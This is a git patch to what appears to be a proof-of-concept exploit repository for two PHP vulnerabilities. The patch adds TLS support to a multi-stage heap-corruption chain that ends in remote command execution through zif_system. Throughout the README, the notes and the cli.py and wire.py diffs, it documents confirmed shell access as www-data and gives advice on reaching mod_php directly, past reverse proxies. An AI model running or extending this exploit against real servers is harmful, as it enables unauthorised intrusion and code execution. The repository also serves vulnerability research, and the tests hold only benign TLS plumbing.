From 663481efe25cb5c51c925605bc97f35f05c609ac Mon Sep 17 00:00:00 2001 From: ZSecurity Date: Sat, 24 Oct 2026 14:19:57 +0700 Subject: [PATCH] feat(wire): https target support with certificate verification; document reverse-proxy limitation --- NOTES.md | 22 +++++++++ README.md | 24 +++++++-- poc/cli.py | 66 +++++++++++++++++-------- poc/wire.py | 25 +++++++--- tests/test_cli.py | 23 ++++++++- tests/test_wire_tls.py | 108 +++++++++++++++++++++++++++++++++++++++++ 6 files changed, 236 insertions(+), 32 deletions(-) create mode 100644 tests/test_wire_tls.py diff --git a/NOTES.md b/NOTES.md index c37db5c..1080796 100644 --- a/NOTES.md +++ b/NOTES.md @@ -279,3 +279,25 @@ can need one retry. + + +## 14. TLS works at the transport layer, but a reverse proxy breaks stage 2 + +The wire layer originally refused `https://`. It now wraps the socket with `ssl` (`--tls`, implied +by an `https://` url) and verifies certificates by default (`--insecure` for self-signed labs). +Measured against an `nginx:alpine` TLS terminator in front of the same lab container +(`proxy_http_version 1.1`, `proxy_request_buffering off`, `proxy_buffering off`, +`Connection close`): + +| Path | A1 | B1 | +|---|---|---| +| direct `http://127.0.0.1:18110` | 500 (real OOM) | 200 + 819208-byte decoded cookie → chain completes, `uid=33(www-data)` | +| through nginx over `https://` | 500 (real OOM) | Apache logs a 200 with a truncated body, then `zend_mm_heap corrupted` → child `exit signal Abort (6)`; the proxy returns `502` | + +So TLS itself is fine, and the OOM producer reaches the target over TLS. The failure is the +second stage's *response*: the worker aborts during that request's shutdown, and a proxy cannot +forward a response whose upstream died mid-body. A direct client reads what was already flushed +and carries on. Practical rule: aim the chain at mod_php's own listener, not at a terminator, a +CDN, or a load balancer. Both `Connection` modes (`""` and `close`) and buffering off were tried; +neither changed the outcome. + diff --git a/README.md b/README.md index 80e4a18..a314675 100644 --- a/README.md +++ b/README.md @@ -76,7 +76,7 @@ not a citation: ```bash git clone https://git.linuxhackingid.com/linuxhackingid/php2shell-cve-2026-109618-109619.git cd php2shell-cve-2026-109618-109619 -python -m unittest discover -s tests -t . # 63 pass, 4 skip (need the target binary) +python -m unittest discover -s tests -t . # 71 pass, 4 skip (need the target binary) ``` Nothing to `pip install`. The two tests that need the target's `libphp.so` skip themselves on a @@ -160,9 +160,23 @@ python -m poc exploit --url http://10.0.0.5:8080/app/index.php python -m poc leak --url http://lab.internal --save leak.resp ``` -`--url` fills in host, port (default 80) and the request path (default `/index.php`); `--host`, -`--port` and `--path` override it. **`http://` only** — the wire layer speaks raw HTTP on a -socket, so TLS is refused rather than silently downgraded. +`--url` fills in host, port (80 for `http://`, 443 for `https://`) and the request path (default +`/index.php`); `--host`, `--port`, `--tls` and `--path` override it. TLS is real TLS: certificate +verification is **on by default**, so a lab with a self-signed certificate needs `--insecure`: + +```bash +python -m poc exploit --url https://127.0.0.1:18443/index.php --insecure +python -m poc exploit --host 10.0.0.5 --port 8443 --tls --insecure +``` + +What is verified over TLS: the transport layer (handshake, certificate rejection by default, +chunked framing through a `ssl` socket) and stage A1 against a TLS-terminated target — it returns +the real `500` OOM. What is **not** reliable: stages B1 onward when a reverse proxy sits in front +of mod_php, because the worker aborts during that request's shutdown and the proxy turns the +truncated upstream response into `502 Bad Gateway` (measured: direct `http://` to the same +container gives full RCE; the same container behind nginx TLS gives `502` at B1). Point the chain +at mod_php directly rather than through a TLS terminator, a CDN, or a load balancer. + Only point this at a host you own or have written authorisation to test. There is no scanning, no target list, no threading: one URL, one chain, and the proof lands in the mounted `out/` @@ -238,7 +252,7 @@ Every row below is a command that was actually run in this environment, with its |---|---|---| | Lab build identity | `python -m poc check` | PHP 8.4.26 NTS, `libphp.so` sha256 `51663cf8…f4ee679c` = profile; Apache 2.4.69; `memory_limit=128M`, `post_max_size=8M`, `display_errors=Off`, `session.upload_progress.enabled=On`; 1 worker | | Symbol offsets | `python -m poc offsets --lib research/libphp.so` | `zval_ptr_dtor=0x65eb60`, `zif_system=0x465370` — matches the profile | -| Offline suite | `python -m unittest discover -s tests -t .` | 67 tests, all pass, 0 skipped | +| Offline suite | `python -m unittest discover -s tests -t .` | 75 tests, all pass, 0 skipped | | Body parity | `tests/test_bodies_parity.py` | A1/A2/B1 SHA-256 identical to the reference generators (`8e8fc166…`, `7af66c8f…`, `b6c547e0…`) | | Stage 1–2 (disclosure) | `python -m poc leak` | A1 → 500; B1 → 200 with an 819 208-byte decoded cookie; `zval_ptr_dtor` ×1095; `libphp − main` in range; main-chunk fingerprint count 87 | | Stage 3–4 (RCE) | `python -m poc exploit` | `[4/4] … RCE OK`, `out/p1` contains `uid=33(www-data) gid=33(www-data) groups=33(www-data)`; exit 0 | diff --git a/poc/cli.py b/poc/cli.py index 041947c..ce1f541 100644 --- a/poc/cli.py +++ b/poc/cli.py @@ -4,6 +4,7 @@ import hashlib import json import os import socket +import ssl import subprocess import sys import time @@ -95,16 +96,17 @@ def cmd_check(args): def run_leak(args, prof, save=""): host, port = args.host, args.port path, warm_path = target_paths(args, prof) - held = wire.hold_workers(host, port, args.workers - 1, path=path) + held = wire.hold_workers(host, port, args.workers - 1, path=path, + tls=args.tls, insecure=args.insecure) try: - wire.warm(host, port, path) + wire.warm(host, port, path, tls=args.tls, insecure=args.insecure) a1 = bodies.build_a1(prof["a1"]) r1 = wire.send(host, port, wire.frame_chunked(warm_path, a1, "%s:%d" % (host, port)), - timeout=args.timeout) + timeout=args.timeout, tls=args.tls, insecure=args.insecure) a1_status = wire.status(r1) b1 = bodies.build_b1(prof["leak_spec"], prof["fake_len"], tag=True) r2 = wire.send(host, port, wire.frame_chunked(path, b1, "%s:%d" % (host, port)), - timeout=args.timeout) + timeout=args.timeout, tls=args.tls, insecure=args.insecure) if save: with open(save, "wb") as fh: fh.write(r2) @@ -122,7 +124,7 @@ def run_leak(args, prof, save=""): def cmd_leak(args): - if not require_target(args.host, args.port): + if not require_target(args.host, args.port, args.tls, args.insecure): return 1 prof = profile_or_die(args) info = run_leak(args, prof, args.save) @@ -158,19 +160,20 @@ def exploit_once(args, prof): os.remove(proof_path) path, warm_path = target_paths(args, prof) - held = wire.hold_workers(host, port, args.workers - 1, path=path) + held = wire.hold_workers(host, port, args.workers - 1, path=path, + tls=args.tls, insecure=args.insecure) try: - wire.warm(host, port, path) + wire.warm(host, port, path, tls=args.tls, insecure=args.insecure) a1 = bodies.build_a1(prof["a1"]) r1 = wire.send(host, port, wire.frame_chunked(warm_path, a1, "%s:%d" % (host, port)), - timeout=args.timeout) + timeout=args.timeout, tls=args.tls, insecure=args.insecure) print("[1/4] A1 oom status=%s" % wire.status(r1)) time.sleep(0.2) b1 = bodies.build_b1(prof["leak_spec"], prof["fake_len"], tag=True) r2 = wire.send(host, port, wire.frame_chunked(path, b1, "%s:%d" % (host, port)), - timeout=args.timeout) + timeout=args.timeout, tls=args.tls, insecure=args.insecure) raw = wire.cookie(r2, b"PHPSESSID") if raw is None: raise leak.LeakError("no Set-Cookie PHPSESSID (status=%s, bytes=%d)" % @@ -184,14 +187,14 @@ def exploit_once(args, prof): zif = info["lib"] + prof["zif_offset"] a2 = bodies.build_a2(prof["a2"]) r3 = wire.send(host, port, wire.frame_plain(path, a2, "%s:%d" % (host, port)), - timeout=args.timeout) + timeout=args.timeout, tls=args.tls, insecure=args.insecure) print("[3/4] A2 oom status=%s" % wire.status(r3)) time.sleep(0.2) ht = forge.build_ht(s_addr, zif, args.cmd.encode()) b2 = forge.build_b2(prof["b2"], ht_addr=s_addr, ht=ht) r4 = wire.send(host, port, wire.frame_plain(path, b2, "%s:%d" % (host, port)), - timeout=args.timeout) + timeout=args.timeout, tls=args.tls, insecure=args.insecure) print("[4/4] B2 forge S=%#x zif_system=%#x status=%s" % (s_addr, zif, wire.status(r4))) @@ -214,7 +217,8 @@ def exploit_once(args, prof): def cmd_exploit(args): prof = profile_or_die(args) - if not args.dry_run and not require_target(args.host, args.port): + if not args.dry_run and not require_target(args.host, args.port, + args.tls, args.insecure): return 1 if args.dry_run: s_addr = 0x7D2700000000 + prof["s_delta"] @@ -258,19 +262,24 @@ def cmd_exploit(args): def resolve_target(args): url = getattr(args, "url", "") + if not hasattr(args, "tls"): + args.tls = False if url: parts = urllib.parse.urlsplit(url) - if parts.scheme and parts.scheme != "http": - print("only http:// is supported: the wire layer speaks raw HTTP, TLS is out of scope", + if parts.scheme in ("https", "wss"): + args.tls = True + elif parts.scheme not in ("", "http", "ws"): + print("unsupported scheme %r: use http:// or https://" % parts.scheme, file=sys.stderr) raise SystemExit(2) if not parts.hostname: print("--url carries no host", file=sys.stderr) raise SystemExit(2) + default_port = 443 if args.tls else 80 if args.host is None: args.host = parts.hostname if args.port is None: - args.port = parts.port or 80 + args.port = parts.port or default_port if not args.path: args.path = parts.path or "/index.php" if args.host is None: @@ -289,13 +298,20 @@ def target_paths(args, prof): return path, (path + "?" + query if query else path) -def require_target(host, port): +def require_target(host, port, tls=False, insecure=False): + scheme = "https" if tls else "http" try: - sock = socket.create_connection((host, port), timeout=3) + sock = wire.connect(host, port, 3, tls, insecure) sock.close() return True + except ssl.SSLError as exc: + print("TLS failed for %s://%s:%d: %s" % (scheme, host, port, exc), file=sys.stderr) + if not insecure: + print("self-signed certificate? retry with --insecure", file=sys.stderr) + return False except OSError: - print("cannot connect to %s:%d — no target listening" % (host, port), file=sys.stderr) + print("cannot connect to %s://%s:%d - no target listening" % (scheme, host, port), + file=sys.stderr) print("start one first: python -m poc lab up", file=sys.stderr) return False @@ -352,7 +368,7 @@ def exec_fits(command, remote=EXEC_REMOTE): def cmd_exec(args): - if not require_target(args.host, args.port): + if not require_target(args.host, args.port, args.tls, args.insecure): return 1 prof = profile_or_die(args) if not exec_fits(args.cmd): @@ -439,6 +455,10 @@ def build_parser(): common(p) p.add_argument("--url", default="") p.add_argument("--path", default="") + p.add_argument("--tls", action="store_true", + help="use TLS; implied by an https:// url") + p.add_argument("--insecure", action="store_true", + help="skip TLS certificate verification (self-signed labs)") p.add_argument("--save", default="") p.set_defaults(func=cmd_leak, resolve=True) @@ -446,6 +466,10 @@ def build_parser(): common(p) p.add_argument("--url", default="") p.add_argument("--path", default="") + p.add_argument("--tls", action="store_true", + help="use TLS; implied by an https:// url") + p.add_argument("--insecure", action="store_true", + help="skip TLS certificate verification (self-signed labs)") p.add_argument("--cmd", default="id>/out/p1") p.add_argument("--proof", default=os.path.join(ROOT, "out", "p1")) p.add_argument("--dry-run", action="store_true") @@ -468,6 +492,10 @@ def build_parser(): common(p) p.add_argument("--url", default="") p.add_argument("--path", default="") + p.add_argument("--tls", action="store_true", + help="use TLS; implied by an https:// url") + p.add_argument("--insecure", action="store_true", + help="skip TLS certificate verification (self-signed labs)") p.add_argument("--cmd", required=True) p.add_argument("--retries", type=int, default=3) p.set_defaults(func=cmd_exec, resolve=True) diff --git a/poc/wire.py b/poc/wire.py index 4ac2269..4e60370 100644 --- a/poc/wire.py +++ b/poc/wire.py @@ -1,10 +1,22 @@ import socket +import ssl import time import urllib.parse BOUNDARY = b"C" * 10 +def connect(host, port, timeout=5.0, tls=False, insecure=False): + sock = socket.create_connection((host, port), timeout=timeout) + if not tls: + return sock + ctx = ssl.create_default_context() + if insecure: + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + return ctx.wrap_socket(sock, server_hostname=host) + + def frame_chunked(path, body, host, boundary=BOUNDARY, chunk=65536): hdr = ("POST %s HTTP/1.1\r\nHost: %s\r\n" "Content-Type: multipart/form-data; boundary=%s\r\n" @@ -25,9 +37,9 @@ def frame_plain(path, body, host, boundary=BOUNDARY): (path, host, boundary.decode(), len(body))).encode() + body -def send(host, port, blob, timeout=600.0, limit=8 << 20): +def send(host, port, blob, timeout=600.0, limit=8 << 20, tls=False, insecure=False): resp = bytearray() - sock = socket.create_connection((host, port), timeout=timeout) + sock = connect(host, port, timeout, tls, insecure) sock.settimeout(timeout) try: sock.sendall(blob) @@ -57,19 +69,20 @@ def status(resp): return resp.split(b"\r\n", 1)[0][:80].decode("latin1", "replace") -def warm(host, port, path="/index.php"): - sock = socket.create_connection((host, port), timeout=5) +def warm(host, port, path="/index.php", tls=False, insecure=False): + sock = connect(host, port, 5, tls, insecure) sock.sendall(("GET %s HTTP/1.0\r\nHost: x\r\n\r\n" % path).encode()) sock.recv(1024) sock.close() -def hold_workers(host, port, count, body_len=1048576, path="/index.php"): +def hold_workers(host, port, count, body_len=1048576, path="/index.php", + tls=False, insecure=False): held = [] if count <= 0: return held for _ in range(count): - sock = socket.create_connection((host, port), timeout=5) + sock = connect(host, port, 5, tls, insecure) sock.sendall(("POST %s HTTP/1.1\r\nHost: %s\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "Content-Length: %d\r\n\r\nx" % (path, host, body_len)).encode()) diff --git a/tests/test_cli.py b/tests/test_cli.py index 17ee0fa..075b89c 100644 --- a/tests/test_cli.py +++ b/tests/test_cli.py @@ -58,9 +58,28 @@ class UrlTargetTest(unittest.TestCase): ns = cli.resolve_target(parse(["leak", "--url", "http://lab.internal:9000"])) self.assertEqual(ns.path, "/index.php") - def test_https_rejected(self): + def test_https_enables_tls(self): + ns = cli.resolve_target(parse(["exploit", "--url", "https://lab.internal/"])) + self.assertTrue(ns.tls) + self.assertEqual(ns.port, 443) + self.assertEqual(ns.path, "/") + + def test_https_default_port_443(self): + ns = cli.resolve_target(parse(["leak", "--url", "https://lab.internal/index.php"])) + self.assertEqual((ns.tls, ns.port, ns.path), (True, 443, "/index.php")) + + def test_http_leaves_tls_off(self): + ns = cli.resolve_target(parse(["exploit", "--url", "http://lab.internal/"])) + self.assertFalse(ns.tls) + self.assertEqual(ns.port, 80) + + def test_unsupported_scheme_rejected(self): with self.assertRaises(SystemExit): - cli.resolve_target(parse(["exploit", "--url", "https://lab.internal/"])) + cli.resolve_target(parse(["exploit", "--url", "ftp://lab.internal/"])) + + def test_insecure_flag_parses(self): + ns = parse(["exploit", "--url", "https://lab.internal", "--insecure"]) + self.assertTrue(ns.insecure) def test_explicit_flags_win_over_url(self): ns = cli.resolve_target(parse(["exploit", "--url", "http://a:1/x.php", "--port", "7000"])) diff --git a/tests/test_wire_tls.py b/tests/test_wire_tls.py new file mode 100644 index 0000000..e83f1a9 --- /dev/null +++ b/tests/test_wire_tls.py @@ -0,0 +1,108 @@ +import os +import shutil +import socket +import ssl +import subprocess +import tempfile +import threading +import unittest + +from poc import wire + +REPLY = b"HTTP/1.0 200 OK\r\nContent-Length: 3\r\n\r\nOK\n" + + +def make_cert(tmp): + cert = os.path.join(tmp, "cert.pem") + key = os.path.join(tmp, "key.pem") + subprocess.run( + ["openssl", "req", "-x509", "-newkey", "rsa:2048", "-keyout", key, "-out", cert, + "-days", "1", "-nodes", "-subj", "/CN=127.0.0.1"], + check=True, capture_output=True) + return cert, key + + +class TlsServer: + def __init__(self, cert, key): + self.ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) + self.ctx.load_cert_chain(cert, key) + self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self.sock.bind(("127.0.0.1", 0)) + self.sock.listen(8) + self.port = self.sock.getsockname()[1] + self.stop = threading.Event() + self.thread = threading.Thread(target=self._loop, daemon=True) + + def _loop(self): + self.sock.settimeout(0.3) + while not self.stop.is_set(): + try: + conn, _ = self.sock.accept() + except (socket.timeout, OSError): + continue + try: + tls = self.ctx.wrap_socket(conn, server_side=True) + tls.recv(65536) + tls.sendall(REPLY) + tls.close() + except (ssl.SSLError, OSError): + pass + + def __enter__(self): + self.thread.start() + return self + + def __exit__(self, *exc): + self.stop.set() + self.sock.close() + self.thread.join(timeout=3) + + +@unittest.skipUnless(shutil.which("openssl"), "openssl not available") +class WireTlsTest(unittest.TestCase): + @classmethod + def setUpClass(cls): + cls.tmp = tempfile.mkdtemp(prefix="poc-tls-") + cls.cert, cls.key = make_cert(cls.tmp) + + @classmethod + def tearDownClass(cls): + shutil.rmtree(cls.tmp, ignore_errors=True) + + def test_https_with_insecure_returns_body(self): + with TlsServer(self.cert, self.key) as server: + resp = wire.send("127.0.0.1", server.port, b"GET / HTTP/1.0\r\n\r\n", + timeout=5, tls=True, insecure=True) + self.assertIn(b"OK", resp) + self.assertEqual(wire.status(resp), "HTTP/1.0 200 OK") + + def test_https_rejects_self_signed_by_default(self): + with TlsServer(self.cert, self.key) as server: + with self.assertRaises(ssl.SSLError): + wire.send("127.0.0.1", server.port, b"GET / HTTP/1.0\r\n\r\n", timeout=5, tls=True) + + def test_chunked_framing_survives_tls(self): + with TlsServer(self.cert, self.key) as server: + blob = wire.frame_chunked("/index.php", b"ABCD", "127.0.0.1:%d" % server.port, chunk=2) + resp = wire.send("127.0.0.1", server.port, blob, timeout=5, tls=True, insecure=True) + self.assertIn(b"OK", resp) + self.assertIn(b"Transfer-Encoding: chunked", blob) + + def test_plain_still_works(self): + server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + server.bind(("127.0.0.1", 0)) + server.listen(1) + port = server.getsockname()[1] + + def once(): + conn, _ = server.accept() + conn.recv(65536) + conn.sendall(REPLY) + conn.close() + server.close() + + threading.Thread(target=once, daemon=True).start() + resp = wire.send("127.0.0.1", port, b"GET / HTTP/1.0\r\n\r\n", timeout=5) + self.assertIn(b"OK", resp)